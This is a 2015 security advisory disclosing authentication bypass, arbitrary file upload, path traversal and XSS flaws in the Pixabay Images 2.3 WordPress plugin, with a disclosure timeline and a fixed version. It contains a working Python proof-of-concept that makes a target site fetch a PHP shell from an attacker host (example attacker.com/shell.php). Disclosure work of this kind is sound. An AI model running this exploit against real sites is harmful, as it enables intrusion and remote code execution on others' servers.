Mogwai Security Advisory MSA-2015-01 ---------------------------------------------------------------------- Title: WP Pixarbay Images Multiple Vulnerabilities Product: Pixarbay Images (Wordpress Plugin) Affected versions: 2.3 Impact: high Remote: yes Product link: https://wordpress.org/plugins/pixabay-images/ Reported: 14/01/2015 by: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench) Vendor's Description of the Software: ---------------------------------------------------------------------- Pixabay Images is a WordPress plugin that let's you pick CC0 public domain pictures from Pixabay and insert them with just a click anywhere on your blog. The images are safe to use, and paying attribution or linking back to the source is not required. Business recommendation: ---------------------------------------------------------------------- Update to version 2.4 Vulnerability description: ---------------------------------------------------------------------- 1) Authentication bypass The plugin does not correctly check if the user is logged in. Certain code can be called without authentication 2) Arbitrary file upload The plugin code does not validate the host in the provided download URL, which allows to upload malicious files, including PHP code. 3) Path Traversal Certain values are not sanitized before they are used in a file operation. This allows to store files outside of the "download" folder. 4) Cross Site Scripting (XSS) The generated author link uses unsanitized user values which can be abused for Cross Site Scripting (XSS) attacks. Proof of concept: ---------------------------------------------------------------------- The following PoC Python script can be used to download PHP files from a attacker controlled host. #!/usr/bin/env python import argparse import httplib, urllib from urlparse import urlparse def exploit(target_url, shellcode_url): target = urlparse(target_url) params = urllib.urlencode({'pixabay_upload': 1, 'image_url': shellcode_url, 'image_user': 'none', 'q':'xxx/../../../../../../mogwai'}) headers = headers = {"Content-type": "application/x-www-form-urlencoded"} print "[+] Sending download request...." conn = httplib.HTTPConnection(target.netloc) conn.request("POST", target.path + "/wp-admin/", params, headers) response = conn.getresponse() response_data = response.read() if response.status != 200 and response_data != "Error: File attachment metadata error": print "[-] Something went wrong" print response_data exit() conn.close() # ---- Main code ---------------- parser = argparse.ArgumentParser() parser.add_argument("target_url", help="The target url, for example http://foo.bar/blog/") parser.add_argument("shellcode_url", help="The url of the PHP file that should be uploaded, for example: http://attacker.com/shell.php") print "----------------------------------------------" print " pixabay upload wordpress plugin exploit PoC" print " Mogwai security" print "----------------------------------------------" arguments = parser.parse_args() exploit(arguments.target_url, arguments.shellcode_url) Vulnerable / tested versions: ---------------------------------------------------------------------- Pixabay Images 2.3 Disclosure timeline: ---------------------------------------------------------------------- 14/01/2014: Reporting issues to the plugin author 15/01/2014: Release of fixed version (2.4) 19/01/2014: Public advisory Advisory URL: ---------------------------------------------------------------------- https://www.mogwaisecurity.de/#lab ---------------------------------------------------------------------- Mogwai, IT-Sicherheitsberatung Muench Steinhoevelstrasse 2/2 89075 Ulm (Germany) info@mogwaisecurity.de